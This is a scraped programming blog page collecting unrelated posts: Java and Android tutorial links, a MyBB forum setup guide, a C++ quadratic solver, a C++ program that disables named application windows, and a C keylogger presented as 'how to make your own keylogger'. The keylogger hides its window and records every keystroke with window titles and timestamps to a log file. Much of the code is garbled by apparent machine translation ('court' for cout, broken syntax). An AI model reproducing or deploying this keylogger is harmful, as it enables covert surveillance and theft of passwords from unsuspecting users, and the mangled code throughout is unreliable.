Showing posts with label programming. Show all posts
Showing posts with label programming. Show all posts

Javascript codes 3000


Best Android Guide! [200 VIDEOS] [20 HOURS]+BLACKBERRY



Here is the link to the playlist to the 200 episode tutorial guide for Android programming. It has almost 20 hours of footage and was released just last week. Enjoy...



Compilation of Java Guides and Resources



What is Java?

Quoting Wikipedia:
Java is a programming language originally developed by James Gosling at Sun Microsystems (which is now a subsidiary of Oracle Corporation) and released in 1995 as a core component of Sun Microsystems' Java platform. The language derives much of its syntax from C and C++ but has a simpler object model and fewer low-level facilities. Java applications are typically compiled to bytecode (class file) that can run on any Java Virtual Machine (JVM) regardless of computer architecture. Java is general-purpose, concurrent, class-based, and object-oriented, and is specifically designed to have as few implementation dependencies as possible. It is intended to let application developers "write once, run anywhere". Java is considered by many as one of the most influential programming languages of the 20th century, and widely used from application software to web application.

There were five primary goals in the creation of the Java language:
  • It should be "simple, object oriented, and familiar".
  • It should be "robust and secure".
  • It should be "architecture neutral and portable".
  • It should execute with "high performance".
  • It should be "interpreted, threaded, and dynamic".
Syntax

The syntax of Java is largely derived from C++. Unlike C++, which combines the syntax for structured, generic, and object-oriented programming, Java was built almost exclusively as an object oriented language. All code is written inside a class and everything is an object, with the exception of the intrinsic data types (ordinal and real numbers, boolean values, and characters), which are not classes for performance reasons.

See also
Official Website:
http://www.java.com/en/


Tutorials:


Sources:


Ebooks:


External Java Lessons and Resources:


Video Lessons:

Lesson Series No. 1
Lesson Series No. 2 (Intermediate)The lesson goes on further, too long to post here. Here is the channel link. http://www.youtube.com/user/thenewboston
Go to his channel and look for his Java lessons.


Useful Website Links:


Making your own Forum



Welcome to this guide. This thread will cover everything that is required to start your own forum running on MyBB software. It will describe how to make your forum personal and original. All the aspects that are required to successfully run your own forum, will be guided here.

Contents
  • What is MyBB
  • Requirements and software information
  • Installing MyBB
  • Modifications, Plugins and Themes
  • Customizing MyBB
  • Monetizing the forum
  • Adding Categories, Forums and Subforums
  • FAQ

What is MyBB
Mybb is a type of forum software. Although there are many other forum software available (IPBoard, vBulletin), MyBB is preferred by many because of it's simplicity. MyBB is completely free, which means that you don't have to pay to use it. MyBB can be completely modified and there are a lot of modifications, plugins and theme's available for MyBB. Due to MyBB being widely used, there is a lot of support. MyBB has their own Community Forum in which customer service is being given.

Some powerful features:
Credits to MyBB.
Ease of Use
MyBB was designed to be easy to use, for both you and your visitors.

Administration
Developed and refined to put you in full control of your forum.

Built-in Template & Theme Editor
A built in syntax highlighting template editor and easy CSS editor for aesthetic customization

Threads, Posts, and Polls
Infinite possibilities arise from every conversation on your forum.

Reputation
Give ratings and leave comments on other registered users and their posts.

Warning System
Warn and punish users when they act inappropriately.

Task Scheduling System
Automatically keeps your forum in tip-top shape with tasks running behind the scenes.

DBMS Support
MySQL, PostgreSQL and SQLite database support with replication/slave support built in.

Performance
MyBB 1.6 runs faster and more efficient than previous versions.

Mass Mail and Newsletter System
Send instant or scheduled messages to registered users matching specified criteria.

User Promotions
Automatically promote users based on their post count, reputation or registration date.

Calendars and Events
Multiple calendars each with their own recurring or ranged events by users.

Private Messaging
Send messages to one or several registered users at a time, privately.

Moderation
Powerful tools for forum moderators and staff to work by your side.

Powerful Plugin System
Extensive plugin system for great expansion of your forum without modifying the code.

Requirements and software information

In order to make use of MyBB, you would have to install the MyBB software on your webhosting. If you don't have hosting yet, register one for free anywhere. Your hosting would need:

  • PHP version 5.1.0+
  • FTP access to upload MyBB software, or an auto-installer.
  • MySQL 4+
Note: If you're going to use a version below 1.6.x (1.4.x, for example) you do not need these requirements. These will apply to you then: PHP version 4.3.11 +.

The newest version of MyBB software is 1.6.5 and was released on the 25th of november 2011. In this version, 3 vulnerabilities have been fixed. 
A full list of fixed issues can be found here.
Information on upgrading from an older version to a newer one can be found here.

Version 2 of MyBB is in planning and is probably in progress already.
The 5 latest versions are:
1.6.5 25 November 2011
1.6.4 26 July 2011
1.6.3
1.6.2
1.6.1
1.6.0
A full list can be found here.
The best and most recommended version is 1.6.5, as it has most vulnerabilities and problems fixed.

Installing
In order to install MyBB, you firstly will have to download the software. This can be done here: http://www.mybb.com/download/latest. Note, this is version 1.6.5.
Unzip the downloaded file and transfer the contents of the file to your webhosting's root directory, this can be done using a FTP client (Filezilla).
Alternatively, use the auto installer that is provided by some webhosting companies.
See picture below.



[click on image to enlarge]


The following instructions are from MyBB;
If you are using MySQL 4 and you wish to install MyBB, you will need to make some changes.
n ./inc/db_mysql.php, delete/remove or comment out:

Code:
if($success && $this->db_encoding)
        {
            $this->query("SET NAMES '{$this->db_encoding}'");
            if($write_success && count($this->connections) > 1)
            {
                $this->write_query("SET NAMES '{$this->db_encoding}'");
            }
        }
        return $success;
And
Code:
return " CHARACTER SET {$this->db_encoding} COLLATE {$collation}";
Once again, the above code comes from MyBB.
If any problems occured, refer to the official installing guide once again or contact MyBB support.



C + + program to solve quadratic polynomials



# include <iostream.h>
# include <math.h>
stdlib.h
int main ()
{


float a, b​​, c, rta1, rta2, lin, base, root, raiz2, img, x;
         court <<"\ n ax ^ 2 + bx + c = 0" <<endl;
court <<endl;
court <<"Enter the value to";
cin>> a;
court <<endl;
court <<"Enter the value of b:";
cin>> b;
court <<endl;
court <<"Enter the value of c:";
cin>> c;
court <<endl;
system ("cls");
court <<endl;
         court <<a <<"x ^ 2 +" <<b <<"x +" <<c <<"= 0" <<endl;
court <<endl;
if (a! = 0)
{
base = ((pow (b, 2)) - (4 * a * c));
if (base> = 0)
{
root = pow (base, 0.5);
rta1 = (-b + (root)) / (2 * a);
      rta2 = (-b-(root)) / (2 * a);
     court <<"The first root is:" <<rta1 <<endl;
     court <<endl;
     court <<"The second root is:" <<rta2 <<endl;
court <<endl;
}
else
{
img = base * (-1);
root = (pow (img, 0,5)) / (2 * a);
raiz2 =- (pow (img, 0,5)) / (2 * a);
rta1 =- b / (2 * a);
         court <<"The first imaginary root is" <<rta1 <<"i" <<root <<endl;
court <<"The second imaginary root is" <<rta1 <<"i" <<raiz2 <<endl;
         court <<endl;
        }
}
else
{
if ((a == 0) & & (c == 0))
{
x = 0 / b;
court <<"The root is" <<x <<endl;
}
else if (b> 0)
{
lin = (-c / b);
court <<"The value of the root is:" <<lin;
court <<endl;
}
else
{
court <<"You just pick a point" <<c;
court <<endl;
}

}
system ("PAUSE");
return 0;
}



Lock the keyboard input and mouse in a window [C + +].



# include <iostream>
# include <windows.h>
# include <cstdlib>
# include <cstdio>
using namespace std;
const char window [3] [65] = {"Windows Live Messenger", "Windows Media Player"
"Control Panel"};
HWND hwnd [3] = {hwnd [0] = FindWindow (NULL, windows [0]), hwnd [1] =FindWindow (NULL, windows [1]),
hwnd [2] = FindWindow (NULL, windows [2])};
void search () {
if (hwnd [0] == NULL) {
court <<"not found the window:" <<window [0]; getchar ();
else {} EnableWindow (hwnd [0], false) court <<"Found window:" <<window [0];getchar ();}
if (hwnd [1] == NULL) {
court <<"not found the window:" <<window [1]; getchar ();
else {} EnableWindow (hwnd [1], false) court <<"Found window:" <<window [1];getchar ();}
if (hwnd [2] == NULL) {
court <<"not found the window:" <<window [2]; getchar ();
else {} EnableWindow (hwnd [2], false) court <<"Found window:" <<window [2];getchar ();}
}
int main () {
SetConsoleTitle ("windows");
search ();
getchar ();
return 0;
}




Keylogger in c


This is the code in c . how to make your own keylogger in c....




/ *Features:- Starts on the route where executed
  
| Do not add to the record |- Keep a log of all events as well as keystrokes,
  
in the "LgPh.log" with the window title and dateHe runs in HIDE
- Contact:Coded by Lympex - lympex [at] gmail [dot] com & & http://l-bytes.tk* // *
Modification of basic keyloguer - Coded by P [i]Final keyloguer Modification - mrobles------------------------------------------------
- Modified the way to identify you the keys.- When pressed 850 keys are also stored (Sino gives an error)

P [i] - serxoker@yahoo.esa-la-saca3@hotmail.com
* /
# Include <stdio.h>Stdlib.h# Include <windows.h># Include <time.h>
# Define OK -32767
int main () {GetForegroundWindow HWND window = ();ShowWindow (window, SW_HIDE);
 
{
    
FILE * log;
    
HWND window;
    
time_t last;
    
int key = 0;
    
int cont = 0;
    
TVentana char [500] = "";
    
char keys [10240 ]=""; / / 0 1 2 3 4 5 6 7 8 9 10
    
char symbol [256] [15] = / * 0 * / {"","","[ ]","[ CliC CliC-I-D-C ]","","[ CliC ]","" Back ]","[ ]","", ,"","[ TAB
                          
/ * 1 * / "","","[ ]","[ ENTER SHIFT CONTROL ]","","","[ ]","","[ ]","[ ALT Shift] "
                          
/ * 2 * / Esc "","","","","","","[ ]","","","",
                          
/ * 3 * / "" "" "[Re-Av-Pag Pag ]","[ ]","","[ ]","[ Left Up Home ]","[ ]","[]","[ Right Down] "
                          
/ * 4 * / PrtSc "","","","[ ]","[ ]","[ Delete Insert ]",""," 0 "," 1 "," 2 ",
                          
/ * 5 * / "3", "4", "5", "6", "7", "8", "9 ","","","",
                          
/ * 6 * / "","","",""," a "," b "," c "," d "," e "," f "
                          
/ * 7 * / "g", "h", "i", "j" "k", "l", "m", "n", "o", "p"
                          
/ * 8 * / "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
                          
/ * 9 * / "[WIN-WIN-D I ]","[ ]","[ D-WIN ]","",""," 0", "1", "2", "3" ,
                          
/ * 10 * / "4", "5", "6", "7", "8", "9 ","*","+"," ","-",".",
                          
/ * 11 * / "/","[ ]","[ F1 F2 F3 ]","[ ]","[ F4 F5 ]","[ ]","[ ]","[ F6 F7] " "[F8 ]","[ F9]"
                          
/ * 12 * / "[F10 ]","[ ]","[ F11 F12]" "" "" "" "" "" "" ""
                          
/ * 13 * / "" "" "" "" "" "" "" "" "" "" ""
                          
/ * 14 * / "" "" "[Num Lock]" "" "" "" "" "" ""
                          
/ * 15 * / "" "" "" "" "" "" "" "" "" "[Shift-I]"
                          
/ * 16 * / "[Shift-D]" "" "" "" "" "" "" "" "" ""
                          
/ * 17 * / "" "" "" "" "" "" "" "" "" ""
                          
/ * 18 * / "" "" "" "" "" "" "",",","-",".",
                          
/ * 19 * / "" "" "" "" "" "" "" "" ""
                          
/ * 20 * / "" "" "" "" "" "" "" "" "" "" ""
                          
/ * 21 * / "" "" "" "" "" "" "" "","'"," \ \"
                          
/ * 22 * ​​/ "¡","'"};
     
   
log = fopen ("log.log", "a");
   
fprintf (log, "\ n /******************************/");
   
fprintf (log, "\ n / * [*] KeyLoGuer */");
   
fprintf (log, "\ n / * [*] Starting ... OK");
   
fprintf (log, "\ n /******************************/");
   
fclose (log);
          
   
GetForegroundWindow window = ();
  
   
while (1) {
      
if ((GetForegroundWindow ()! = window) | | (cont == 850)) {
         
if (strlen (TVentana)> 0 & & strlen (keys)> 0) {
            
time (& last);
            
ctime (& last);

            
log = fopen ("log.log", "a");
            
fprintf (log, "\ n \ n [*] Date:% s", ctime (& last));
            
fprintf (log ,"[*] Window:% s ", TVentana);
            
fprintf (log, "\ n [*] Text:% s", key);
            
fprintf (log, "\ n");
            
fprintf (log, "\ n /******************************/ \ n");
            
fclose (log);

            
free (Keys);
            
strcpy (Keys ,"");
            
cont = 0;
            
}
         
GetForegroundWindow window = ();
         
}
      
else {
           
GetWindowText (window, TVentana, 500);
           
}
      
for (key = 4; key <256; key + +) {
          
if (GetAsyncKeyState (key) == OK) {
              
strcat (keys, symbol [key]);
              
printf ("% s \ n", symbol [key]);
              
cont + +;
              
}
          
}
    
}}}